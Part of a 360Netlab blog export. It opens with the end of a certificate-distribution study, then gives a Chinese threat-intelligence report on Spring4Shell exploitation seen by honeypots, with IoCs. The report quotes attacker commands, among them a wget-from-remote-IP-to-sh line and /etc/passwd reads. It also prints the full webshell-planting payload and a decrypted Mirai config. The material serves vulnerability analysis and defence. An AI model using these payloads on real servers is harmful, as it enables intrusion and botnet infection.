subject_C|US|GB|NL|BE|CN|JP|DE|TW|BM|NZ|PL|FR|HU|CH|ES|cn|IT|Other|sum|self-sufficiency\n|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|\nUS|226208|116240||5550|595|20|89|41|12|578|96|15||59|239|271|10|820|350843|0.644755631\nCN|43078|651|295|8659|51655|344|488|227|25|8143|250|480||507|3381|4626|565|5764|129138|0.435820595\nDE|25761|8573|3390|3557|25|1|24494|1|2650|3|501|6||1768|8|12|19|198|70967|0.345146336\nGB|22298|15144|10178|2495|8||2|3|1544|1|33|14||1|8|12||86|51827|0.292202906\nJP|19488|897||12052|7|29743|2|10||3||||3|5|3||121|62334|0.477155325\nCA|16203|8282||907|6||1|||3|15||||2|5||319|25743|\nAU|11401|2509|52|263|4|1|3||1876|1|4||1||||1|596|16712|\nFR|11201|14759|12832|2727|13||111|2|597||26|7327||121||10|1|105|49832|0.147034034\nKR|7276|4505||1760|||17|4||2|2|13||||2||402|13983|\nES|6646|3993|5499|1402|7|||1||1|4|8|||1621||||19182|0.084506308\nIT|6596|5184|6228|1058||||||1|70|||1|4|1|2462||21605|0.113955103\nIN|5968|817||1526|||||2|||||1|3|2||403|8722|\nRU|5590|704||3972|9|||||3|141||||4|6|1|2156|12586|\nCH|5151|2592|484|284|12||28|3|2576||18|8|1|3495||1||216|14869|\nSE|5122|1543|2492|798|||2|1|||28|||132||1||774|10893|\nNL|4431|16709|10825|771|||7|3|753|3|8|4||2||10|||33526|\nHK|3657|1946||655|23|2||2||3||||1||||1087|7376|\nSG|3490|747||484||2||||||||6|||||4729|\nBR|3206|1379||2477|||2||1|||||||||962|8027|\nFI|3154|656|2189|||||||||||||||818|6817|\nMX|3031|453||335||||||1||||||||81|3901|\nAT|2888|1504|3806|217|4||82||42||23||1|55||2|16|348|8988|\nZA|2632|899|||||||11||30|||||||114|3686|\nAE|2374|||434|||||2||19|||||||129|2958|\nDK|2052|465|449|1310|||||||||||||||4276|\nNZ|1914|264|||||||306|1538|||||||||4022|0.382396818\nCO|1868|317||320|||||||||||2||||2507|\nID|1822|392||174|||||||||||||||2388|\nNO|1815|1358|2022|259|||2||3|1||5||||||396|5861|\nCZ|1713|213|4106|44|||29||23||163|||3|||15|481|6790|\nTH|1677|||592||||||||||||1|||2270|\nMY|1674|342||807||||2||1|3|||||4|||2833|\nBE|1582|3857|5458|1585|||9|||1|2|15||7|||||12516|\nSA|1564|||70||||1||||||2||1|||1638|\nPL|1364|521|3333||19||18||2||6510||1|||1|7||11776|0.552819293\nTW|1300|1724||435|6|3||10934||1|9|7||1||2|||14422|0.758147275\nIE|1209|418|797|65|||||40|1|2|5||||||653|3190|\nAR|1202|394||44|||1||||||||||||1641|\nPH|1022|||618|||||||||||||||1640|\nCL|952|230||1010|||||||||||||||2192|\nIL|847||576|||||||2|2|||1||22|||1450|\nPT|804|1201|3030|106||||||||||1||||130|5272|\nVN|789|201||1205|||||||7||||||||2202|\nTR|758|863||1318|||||||7|||||||239|3185|\nGR|757|287|1315|||||||||||2|||1|731|3093|\nPE|680|603||147|||||||2|||4|||||1436|\nCY|606||195||||||||3||||||||804|\nKW|596|||||||||||||||6|||602|\nPK|514|||||||1|||||||||||515|\nEC|488|||196|||||||||||||||684|\nOther|21910|35588|13494|1825|620|250|136|10|131|28|1781|573|6763|417|273|304|132|20763|104998|"}]],"markups":[],"sections":[[1,"h2",[[0,[],0,"概要"]]],[1,"p",[[0,[],0,"数字证书是整个现代webPKI系统的最核心的部分之一。如果说DNS数据标识了网络资产的地址,那么数字证书就是网络资产的身份证。没有,丢失或者被吊销数字证书,就没有办法证明“我”就是“我”。因此PKI系统及其数据已经成为网络真正的基础设施,作为互联网安全运营的基础数据,重要性不言而喻。"]]],[10,0],[1,"p",[[0,[],0,"360Netlab成立之后不久就通过主动、被动相结合的方式收集网络数字证书,并以此为基础构建了网络证书数据库CertDB。目前该库包含证书规模和涉及的IP端口数据达到十亿级,历史数据可追溯超过5年,是360Netlab基础数据分析系统DNSMon的重要组成部分。此外360Netlab同时运营着的网络空间基础数据库包括描述域名注册的WhoisDB、域名解析的PassiveDNS、网站页面的WebDB等等。这些基础数据库的条目以十亿或千亿为单位计,共同构成了用以描述全球网络空间变迁的DNSMon系统。"]]],[1,"p",[[0,[],0,"为了摸清楚数字证书在实际网络空间中的真实情况,本文利用网络证书数据库(CertDB),从数据角度来衡量网络证书数据在使用者和签发者组织和国别之间的分布情况。"]]],[1,"h2",[[0,[],0,"数据筛选"]]],[10,1],[10,2],[1,"h2",[[0,[],0,"数据分析"]]],[10,3],[1,"p",[]]],"ghostVersion":"3.0"} | 62343dd8a5c41b00078fce3a |
post | null | 2022-04-01T09:17:54.000Z | 63873b9a8b1c1e0007f53012 | what-our-honeypot-sees-just-one-day-after-the-spring4shell-advisory | 0 | 2022-04-08T09:30:09.000Z | public | published | null | 2022-04-01T16:47:43.000Z | Spring4Shell在野漏洞传播分析 | <!--kg-card-begin: markdown--><h3 id="">背景介绍</h3>
<p>2022年3月31号,Spring针对Spring4Shell漏洞(CVE-2022-22965)事件发布了安全公告[<a href="https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement">1]</a>,并提供了漏洞修复程序,此次漏洞事件在安全社区引起广泛关注。</p>
<p>360网络安全研究院高级威胁狩猎蜜罐系统[<a href="https://netlab.360.com/zh/honeypot">2]</a>通过被动监测方式看到了该漏洞在野传播过程,我们也看到了Mirai僵尸网络入场,相关在野漏洞攻击威胁情报已通过自动化形式输出。</p>
<h3 id="spring4shell">Spring4Shell 在野传播</h3>
<p>360网络安全研究院高级威胁狩猎蜜罐系统持续监测到Spring4Shell漏洞(CVE-2022-22965)扫描和漏洞利用行为,部分源IP地理位置分布如下:<br>
<a href="__GHOST_URL__/content/images/2022/04/spring4shell_scanner_distribution.png"><img src="__GHOST_URL__/content/images/2022/04/spring4shell_scanner_distribution.png" class="kg-image"/></a></p>
<p>以下是Top 10 国家/地区统计列表</p>
<pre><code>United States 92
The Netherlands 49
Germany 30
China 21
France 6
Luxembourg 6
Sweden 6
Switzerland 5
Ukraine 5
Austria 4
</code></pre>
<p>我们监测到大量Webshell和测试文件的上传行为,相应文件信息如下所示:<br>
<a href="__GHOST_URL__/content/images/2022/04/webshell.png"><img src="__GHOST_URL__/content/images/2022/04/webshell.png" class="kg-image"/></a></p>
<p>部分在野漏洞利用命令信息如下所示:</p>
<pre><code>echo%20ddfdsfasdfasd
echo%20fdsafasdfasd
echo%202222222
ls
ls%20/tmp/
whoami
%2Fbin%2Fsh%2F-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%3Bwget%24%7BIFS%7Dhttp%3A%2F%2F107.174.133.167%2Ft.sh%24%7BIFS%7D-O-%A6sh%24%7BIFS%7DSpringCore%3B%27
cat+/etc/passwd
chdir
cmd /c dir
cmd /c net user
curl+http://111.4vcrkb.dnslog.cn/1.jpg
curl+http://12121.4vcrkb.dnslog.cn/1.jpg
curl+http://35456.4vcrkb.dnslog.cn/1.jpg
dir
echo
echo 8888888888
echo %USERNAME%
echo %computername%
echo </xss>
echo fucker_test_test
echo rinima
echo%20%3Csvg%20onload=confirm`xss`%3E
echo%20%3Csvg%20onload=confirm`xsssssss`%3E
echo%20ddfdsfasdfasd
echo%20fdsafasdfasd
echo%202222222
echo+22222
echo+`whoami`
echo+whoami
exp
id
ifconfig
ls
ls%20/tmp/
ping -n 2 uup0fk.dnslog.cn
ping uup0fk.dnslog.cn
uname
whoami
whoami%0A
</code></pre>
<h3 id="spring4shell">Spring4Shell 漏洞分析</h3>
<p>Spring4Shell漏洞(CVE-2022-22965)是在JDK 9版本及以上新增module特性后导致的,并且是针对CVE-2010-1622漏洞补丁的绕过。</p>
<h4 id="cve20101622">CVE-2010-1622 漏洞分析</h4>
<p>CVE-2010-1622漏洞是Spring Bean的CachedIntrospectionResults类在调用java.beans.Introspector.getBeanInfo()枚举属性赋值时,没有指定stop类,导致父类(Object.class是任何java对象的父类)属性可被攻击者恶意控制。</p>
<p>Spring参数绑定支持用户提交表单以 参数=值 的形式进行对象赋值,同时user.address.street=Disclosure+Str等价于frmObj.getUser().getAddress().setStreet("Disclosure Str.")。因此可通过user.address.street=Disclosure+Str的方式给PropertyDescriptor[]中的第一个class属性赋值。如通过classLoader控制class属性,进而构造利用链。</p>
<p><strong>漏洞补丁</strong><br>
Spring通过将classLoader加入属性数组黑名单的方式修补漏洞。<br>
<a href="__GHOST_URL__/content/images/2022/04/patch.png"><img src="__GHOST_URL__/content/images/2022/04/patch.png" class="kg-image"/></a></p>
<h4 id="cve202222965">CVE-2022-22965 漏洞分析</h4>
<p>在参数绑定过程中,包含class属性,与CVE-2010-1622漏洞问题类似:<br>
<a href="__GHOST_URL__/content/images/2022/04/class.png"><img src="__GHOST_URL__/content/images/2022/04/class.png" class="kg-image"/></a></p>
<p>CVE-2022-22965是CVE-2010-1622补丁的绕过,在JDK11+Tomcat8.5.77+spring-webmvc5.3.17版本中,调试发现通过class.module.classLoader.*可以加载ParallelWebappClassLoader绕过黑名单对classLoader的检测:<br>
<a href="__GHOST_URL__/content/images/2022/04/classloader.png"><img src="__GHOST_URL__/content/images/2022/04/classloader.png" class="kg-image"/></a></p>
<p>在野Payload:</p>
<pre><code>class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=222
</code></pre>
<p>pattern指定日志记录的格式,suffix指定日志记录的后缀为.jsp,directory指定日志保存的目录webapps/ROOT,prefix指定文件名tomcatwar,fileDateFormat指定日志文件名日期格式,上述payload通过Tomcat的class AbstractAccessLogValve修改了日志的存储格式、目录和文件名,实现了Webshell的上传。</p>
<p><strong>漏洞补丁</strong><br>
新增了严格的黑名单限制<br>
<a href="__GHOST_URL__/content/images/2022/04/patch1.png"><img src="__GHOST_URL__/content/images/2022/04/patch1.png" class="kg-image"/></a></p>
<h3 id="mirai">Mirai僵尸网络</h3>
<p>我们看到Mirai僵尸网络很快入场,相关配置信息解密如下所示:</p>
<pre><code> [0x01]: "46.175.146.159\x00", size=15
[0x02]: "A\x84", size=2
[0x03]: "D\xfd", size=2
[0x04]: "U better back the fuck off CIANigger >>>---<3-->\x00", size=49
[0x05]: "shell\x00", size=6
[0x06]: "enable\x00", size=7
[0x07]: "system\x00", size=7
[0x08]: "sh\x00", size=3
[0x09]: "/bin/busybox DEMONS\x00", size=20
[0x0a]: "DEMONS: applet not found\x00", size=25
[0x0b]: "ncorrect\x00", size=9
[0x0c]: "/bin/busybox ps\x00", size=16
[0x0d]: "assword\x00", size=8
[0x0e]: "ogin\x00", size=5
[0x0f]: "enter\x00", size=6
[0x10]: "/proc/\x00", size=7
[0x11]: "/exe\x00", size=5
[0x12]: "/fd\x00", size=4
[0x13]: "/maps\x00", size=6
[0x14]: "/proc/net/tcp\x00", size=14
[0x15]: "/etc/resolv.conf\x00", size=17
[0x16]: "nameserver\x00", size=11
[0x17]: "Pully\x13SHD\x1aiIGK\x1cDig\x13\x18}Bfpc]MkGp^b\x12[}P\x1b\\~m`b`^rc\x13Xeg\x13G\x1a\x12z*", size=57
[0x18]: "i586\x00", size=5
[0x19]: "i486\x00", size=5
[0x1a]: "x86\x00", size=4
[0x1b]: "i686\x00", size=5
[0x1c]: "mips\x00", size=5
[0x1d]: "mipsel\x00", size=7
[0x1e]: "mpsl\x00", size=5
[0x1f]: "sh4\x00", size=4
[0x20]: "superh\x00", size=7
[0x21]: "ppc\x00", size=4
[0x22]: "powerpc\x00", size=8
[0x23]: "spc\x00", size=4
[0x24]: "sparc\x00", size=6
[0x25]: "(deleted)\x00", size=10
[0x26]: "abcdefghijklmnopqrstuvwxyz\x00", size=27
[0x27]: "%d.%d.%d.%d\x00", size=12
[0x28]: "POST /cdn-cgi/\x00", size=15
[0x29]: "UPX!\x00", size=5
[0x2a]: "botnet\x00", size=7
[0x2b]: "ddos\x00", size=5
[0x2c]: "oginenterassword\x00", size=17
[0x2d]: "GET/ HTTP/1.1\x00", size=15
[0x2e]: "garm\x00", size=5
[0x2f]: "gx86\x00", size=5
[0x30]: "gmips\x00", size=6
[0x31]: "gmpsl\x00", size=6
[0x32]: "gsh4\x00", size=5
[0x33]: "gspc\x00", size=5
[0x34]: "gppc\x00", size=5
[0x35]: "gsec\x00", size=5
[0x36]: ".glm\x00", size=5
[0x37]: "cronx86\x00", size=8
[0x38]: "cronarm\x00", size=8
[0x39]: "cronmips\x00", size=9
[0x3a]: "cronmpsl\x00", size=9
[0x3b]: "cronsh4\x00", size=8
[0x3c]: "cronspc\x00", size=8
[0x3d]: "cronppc\x00", size=8
[0x3e]: "cronsh\x00", size=7
[0x3f]: "gi686\x00", size=6
[0x40]: "/dev/watchdog\x00", size=14
[0x41]: "/dev/misc/watchdog\x00", size=19
[0x42]: "/dev/FTWDT101_watchdog\x00", size=23
[0x43]: "/dev/FTWDT101 watchdog\x00\x12", size=24
[0x44]: "/dev/watchdog0\x00", size=15
[0x45]: "/etc/default/watchdog\x00", size=22
[0x46]: "/sbin/watchdog\x00", size=15
</code></pre>
<h4 id="webshell">Webshell和测试文件列表</h4>
<table>
<thead>
<tr>
<th>filepath</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>/tmp/log222.txt</td>
<td>3973</td>
</tr>
<tr>
<td>webapps/ROOT/log111.txt</td>
<td>2051</td>
</tr>
<tr>
<td>webapps/ROOT/tomcatwar.jsp</td>
<td>110</td>
</tr>
<tr>
<td>webapps/ROOT/wpz.jsp</td>
<td>27</td>
</tr>
<tr>
<td>/../webapps/ROOT/logout.jsp</td>
<td>12</td>
</tr>
<tr>
<td>./webapps/ROOT/test2%20%20.txt</td>
<td>9</td>
</tr>
<tr>
<td>webapps/ROOT/log101.txt</td>
<td>7</td>
</tr>
<tr>
<td>/log_data_9.jsp</td>
<td>3</td>
</tr>
<tr>
<td>webapps/ROOT/xiaozhan.jsp</td>
<td>3</td>
</tr>
<tr>
<td>webapps/ROOT/1122.jsp</td>
<td>3</td>
</tr>
<tr>
<td>webapps/ROOT/0985763860781234.jsp</td>
<td>3</td>
</tr>
<tr>
<td>/2023.jsp</td>
<td>3</td>
</tr>
<tr>
<td>webapps/ROOT/zhuzhuxias.jsp</td>
<td>3</td>
</tr>
<tr>
<td>webapps/ROOT/log147.txt</td>
<td>2</td>
</tr>
<tr>
<td>webapps/ROOT/aaa69875.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log186.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa36917.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/member3war.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa96225.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log154.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log103.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log176.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/7FMNZ.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa28643.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa49231.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa50586.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log112.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log110.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa80751.jsp</td>
<td>1</td>
</tr>
<tr>
<td>/2021.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa10854.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log105.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa93089.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/35456.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log182.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa24348.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log131.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/indexbk.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log149.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log179.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/webappsbak/sxxd1648765386.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log150.txt</td>
<td>1</td>
</tr>
<tr>
<td>Webapps/ROOT/78754.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa24168.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa10487.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log178.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/lapsus</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/zhuzhuxia.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log135.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa40373.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/qweasd.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/console.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa79694.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa54378.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log129.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/pCJrI.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log162.txt</td>
<td>1</td>
</tr>
<tr>
<td>Webapps/ROOT/7875456457.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log200.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/8888888888.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/8888888888.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log128.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/log124.txt</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa14058.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa94175.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/conf.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/stupidRumor_war/tomcatwar.jsp</td>
<td>1</td>
</tr>
<tr>
<td>webapps/ROOT/aaa83816.jsp</td>
<td>1</td>
</tr>
</tbody>
</table>
<h3 id="">处置建议</h3>
<p>我们建议Spring用户及时升级漏洞程序,并排查相应Webshell文件路径。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者,可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h4 id="ioclist">IoC List</h4>
<p>Mirai C2</p>
<pre><code>46.175.146.159:16772
</code></pre>
<p>IP</p>
<pre><code>1.85.220.54 China AS4134 CHINANET-BACKBONE
3.239.1.141 United States AS14618 AMAZON-AES
5.2.69.50 The Netherlands AS60404 Liteserver
14.0.170.249 China AS38819 HKCSL-AS-AP
23.128.248.10 United States AS398355 DATAIDEAS-LLC
23.128.248.11 United States AS398355 DATAIDEAS-LLC
23.128.248.12 United States AS398355 DATAIDEAS-LLC
23.128.248.13 United States AS398355 DATAIDEAS-LLC
23.128.248.14 United States AS398355 DATAIDEAS-LLC
23.128.248.15 United States AS398355 DATAIDEAS-LLC
23.128.248.16 United States AS398355 DATAIDEAS-LLC
23.128.248.17 United States AS398355 DATAIDEAS-LLC
23.128.248.19 United States AS398355 DATAIDEAS-LLC
23.128.248.20 United States AS398355 DATAIDEAS-LLC
23.128.248.21 United States AS398355 DATAIDEAS-LLC
23.128.248.22 United States AS398355 DATAIDEAS-LLC
23.128.248.23 United States AS398355 DATAIDEAS-LLC
23.128.248.24 United States AS398355 DATAIDEAS-LLC
23.128.248.25 United States AS398355 DATAIDEAS-LLC
23.128.248.27 United States AS398355 DATAIDEAS-LLC
23.128.248.28 United States AS398355 DATAIDEAS-LLC
23.128.248.29 United States AS398355 DATAIDEAS-LLC
23.128.248.33 United States AS398355 DATAIDEAS-LLC
23.128.248.34 United States AS398355 DATAIDEAS-LLC
23.128.248.38 United States AS398355 DATAIDEAS-LLC
23.128.248.39 United States AS398355 DATAIDEAS-LLC
23.128.248.40 United States AS398355 DATAIDEAS-LLC
23.128.248.41 United States AS398355 DATAIDEAS-LLC
23.128.248.42 United States AS398355 DATAIDEAS-LLC
23.128.248.43 United States AS398355 DATAIDEAS-LLC
23.128.248.44 United States AS398355 DATAIDEAS-LLC
23.128.248.46 United States AS398355 DATAIDEAS-LLC
23.128.248.48 United States AS398355 DATAIDEAS-LLC
23.128.248.50 United States AS398355 DATAIDEAS-LLC
23.128.248.51 United States AS398355 DATAIDEAS-LLC
23.128.248.53 United States AS398355 DATAIDEAS-LLC
23.128.248.54 United States AS398355 DATAIDEAS-LLC
23.128.248.55 United States AS398355 DATAIDEAS-LLC
23.128.248.56 United States AS398355 DATAIDEAS-LLC
23.128.248.57 United States AS398355 DATAIDEAS-LLC
23.128.248.58 United States AS398355 DATAIDEAS-LLC
23.128.248.59 United States AS398355 DATAIDEAS-LLC
23.128.248.60 United States AS398355 DATAIDEAS-LLC
23.128.248.61 United States AS398355 DATAIDEAS-LLC
23.128.248.62 United States AS398355 DATAIDEAS-LLC
23.128.248.63 United States AS398355 DATAIDEAS-LLC
23.128.248.64 United States AS398355 DATAIDEAS-LLC
23.128.248.65 United States AS398355 DATAIDEAS-LLC
23.129.64.130 United States AS396507 EMERALD-ONION
23.129.64.131 United States AS396507 EMERALD-ONION
23.129.64.132 United States AS396507 EMERALD-ONION
23.129.64.133 United States AS396507 EMERALD-ONION
23.129.64.134 United States AS396507 EMERALD-ONION
23.129.64.135 United States AS396507 EMERALD-ONION
23.129.64.136 United States AS396507 EMERALD-ONION
23.129.64.137 United States AS396507 EMERALD-ONION
23.129.64.138 United States AS396507 EMERALD-ONION
23.129.64.139 United States AS396507 EMERALD-ONION
23.129.64.140 United States AS396507 EMERALD-ONION
23.129.64.141 United States AS396507 EMERALD-ONION
23.129.64.142 United States AS396507 EMERALD-ONION
23.129.64.143 United States AS396507 EMERALD-ONION
23.129.64.145 United States AS396507 EMERALD-ONION
23.129.64.146 United States AS396507 EMERALD-ONION
23.129.64.147 United States AS396507 EMERALD-ONION
23.129.64.148 United States AS396507 EMERALD-ONION
23.129.64.149 United States AS396507 EMERALD-ONION
23.129.64.210 United States AS396507 EMERALD-ONION
23.129.64.211 United States AS396507 EMERALD-ONION
23.129.64.212 United States AS396507 EMERALD-ONION
23.129.64.213 United States AS396507 EMERALD-ONION
23.129.64.214 United States AS396507 EMERALD-ONION
23.129.64.215 United States AS396507 EMERALD-ONION
23.129.64.216 United States AS396507 EMERALD-ONION
23.129.64.217 United States AS396507 EMERALD-ONION
23.129.64.218 United States AS396507 EMERALD-ONION
23.129.64.219 United States AS396507 EMERALD-ONION
23.129.64.250 United States AS396507 EMERALD-ONION
23.154.177.6 United States AS399532 ULAYER-ASN
23.154.177.7 United States AS399532 ULAYER-ASN
23.239.21.195 United States AS63949 LINODE-AP
27.102.106.117 South Korea AS45996 GNJ-AS-KR
37.187.18.212 France AS16276 OVH
37.187.96.183 France AS16276 OVH
43.128.201.239 Thailand AS132203 TENCENT-NET-AP-CN
43.242.116.54 India AS45916 GTPL-AS-AP
45.15.16.105 Sweden AS42675 OBEHOSTING
45.32.251.86 Japan AS20473 AS-CHOOPA
45.33.101.246 United States AS63949 LINODE-AP
45.61.186.160 United States AS53667 PONYNET
45.78.48.51 Japan AS25820 IT7NET
45.128.133.242 Belgium AS206804 EstNOC-GLOBAL
45.129.56.200 Denmark AS39351 ESAB-AS
45.136.15.239 China AS139659 LUCID-AS-AP
45.153.160.2 The Netherlands AS212906 moneroj-ca
45.153.160.132 The Netherlands AS212906 moneroj-ca
45.153.160.136 The Netherlands AS212906 moneroj-ca
45.154.255.138 Sweden AS41281 KEFF
45.154.255.139 Sweden AS41281 KEFF
45.154.255.147 Sweden AS41281 KEFF
46.166.139.111 The Netherlands AS43350 NFORCE
46.175.146.159 The Netherlands AS50673 Serverius-as
46.232.251.191 Germany AS197540 netcup-AS
51.15.76.60 The Netherlands AS12876 AS12876
51.77.52.216 Poland AS16276 OVH
58.82.211.226 China AS137872 PEOPLESPHONE-HK
58.240.81.135 China AS4837 CHINA169-Backbone
60.248.106.229 China AS3462 HINET
62.102.148.68 Sweden AS51815 TEKNIKBYRAN
62.102.148.69 Sweden AS51815 TEKNIKBYRAN
64.113.32.29 United States AS15154 SBBSNET
66.220.242.222 United States AS17356 VERMONT-TELE
74.82.47.194 United States AS6939 HURRICANE
81.17.18.59 Switzerland AS51852 PLI-AS
81.17.18.62 Switzerland AS51852 PLI-AS
85.93.218.204 Luxembourg AS9008 ASN-VO
85.204.116.204 Romania AS48874 HOSTMAZE
87.120.37.231 Bulgaria AS34224 NETERRA-AS
89.58.27.84 Germany AS197540 netcup GmbH
89.163.131.159 Germany AS24961 MYLOC-AS
89.163.131.160 Germany AS24961 MYLOC-AS
91.132.147.168 Germany AS197540 netcup-AS
91.149.225.172 Norway AS58110 IPVOLUME
91.211.89.43 Ukraine AS206638 hostfory
91.211.89.107 Ukraine AS206638 hostfory
91.211.89.207 Ukraine AS206638 hostfory
91.250.242.12 Romania AS6718 NAV
92.246.84.133 Germany AS44592 SkyLink
93.95.226.212 Iceland AS44925 THE-1984-AS
93.174.89.132 The Netherlands AS202425 INT-NETWORK
93.179.115.27 United States AS25820 IT7NET
94.140.114.210 Latvia AS43513 NANO-AS
101.37.159.147 China AS37963 CNNIC-ALIBABA-CN-NET-AP
103.27.108.196 China AS132883 TOPWAY-AS-AP
103.42.196.135 India AS138754 KVBPL-AS-IN
103.42.196.203 India AS138754 KVBPL-AS-IN
103.108.193.24 China AS139021 WEST263GO-HK
103.140.186.68 Singapore AS206804 EstNOC-GLOBAL
103.140.186.72 Singapore AS206804 EstNOC-GLOBAL
103.140.186.73 Singapore AS206804 EstNOC-GLOBAL
103.214.146.5 China AS135330 ADCDATACOM-AS-AP
103.253.41.98 China AS133398 TELE-AS
104.244.72.115 Luxembourg AS53667 PONYNET
104.244.76.13 Luxembourg AS53667 PONYNET
104.244.76.44 Luxembourg AS53667 PONYNET
104.244.76.170 Luxembourg AS53667 PONYNET
104.244.77.101 Luxembourg AS53667 PONYNET
107.189.5.249 Luxembourg AS53667 PONYNET
109.70.100.19 Austria AS208323 APPLIEDPRIVACY-AS
109.70.100.31 Austria AS208323 APPLIEDPRIVACY-AS
109.70.100.82 Austria AS208323 APPLIEDPRIVACY-AS
109.70.100.84 Austria AS208323 APPLIEDPRIVACY-AS
109.201.133.100 The Netherlands AS43350 NFORCE
111.252.183.41 China AS3462 HINET
111.252.198.28 China AS3462 HINET
112.5.154.7 China AS9808 CMNET-GD
112.36.205.252 China AS24444 CMNET-V4shandong-AS-AP
112.169.175.24 South Korea AS131477 SHHJ-AS
119.86.148.176 China AS4134 CHINANET-BACKBONE
124.222.23.106 China AS45090 CNNIC-TENCENT-NET-AP
128.31.0.13 United States AS3 MIT-GATEWAYS
141.164.43.95 South Korea AS20473 AS-CHOOPA
142.4.206.84 Canada AS16276 OVH
143.198.131.158 United States AS14061 DIGITALOCEAN-ASN
144.172.73.66 United States AS212513 STELZL-AS
144.202.116.138 United States AS20473 AS-CHOOPA
144.217.86.109 Canada AS16276 OVH
146.19.174.33 China AS147293 NEAROUTE-AS-AP
146.59.233.33 France AS16276 OVH
151.80.148.159 France AS16276 OVH
159.223.73.101 Singapore AS14061 DIGITALOCEAN-ASN
162.247.74.7 United States AS4224 CALYX-AS
164.92.65.110 United States AS14061 DIGITALOCEAN-ASN
164.132.9.199 France AS16276 OVH
166.70.207.2 United States AS6315 XMISSION
167.71.238.228 India AS14061 DIGITALOCEAN-ASN
167.99.76.46 Singapore AS14061 DIGITALOCEAN-ASN
168.62.22.238 United States AS8075 MICROSOFT-CORP-MSN-AS-BLOCK
171.25.193.20 Germany AS198093 DFRI-AS
171.25.193.25 Germany AS198093 DFRI-AS
171.25.193.77 Germany AS198093 DFRI-AS
171.25.193.78 Germany AS198093 DFRI-AS
172.104.93.152 Japan AS63949 LINODE-AP
172.104.140.107 Germany AS63949 LINODE-AP
172.104.159.48 Germany AS63949 LINODE-AP
172.107.241.110 United States AS40676 AS40676
172.245.89.109 United States AS36352 AS-COLOCROSSING
175.178.154.77 China AS45090 CNNIC-TENCENT-NET-AP
178.17.170.135 Moldova AS43289 TRABIA
178.17.171.102 Moldova AS43289 TRABIA
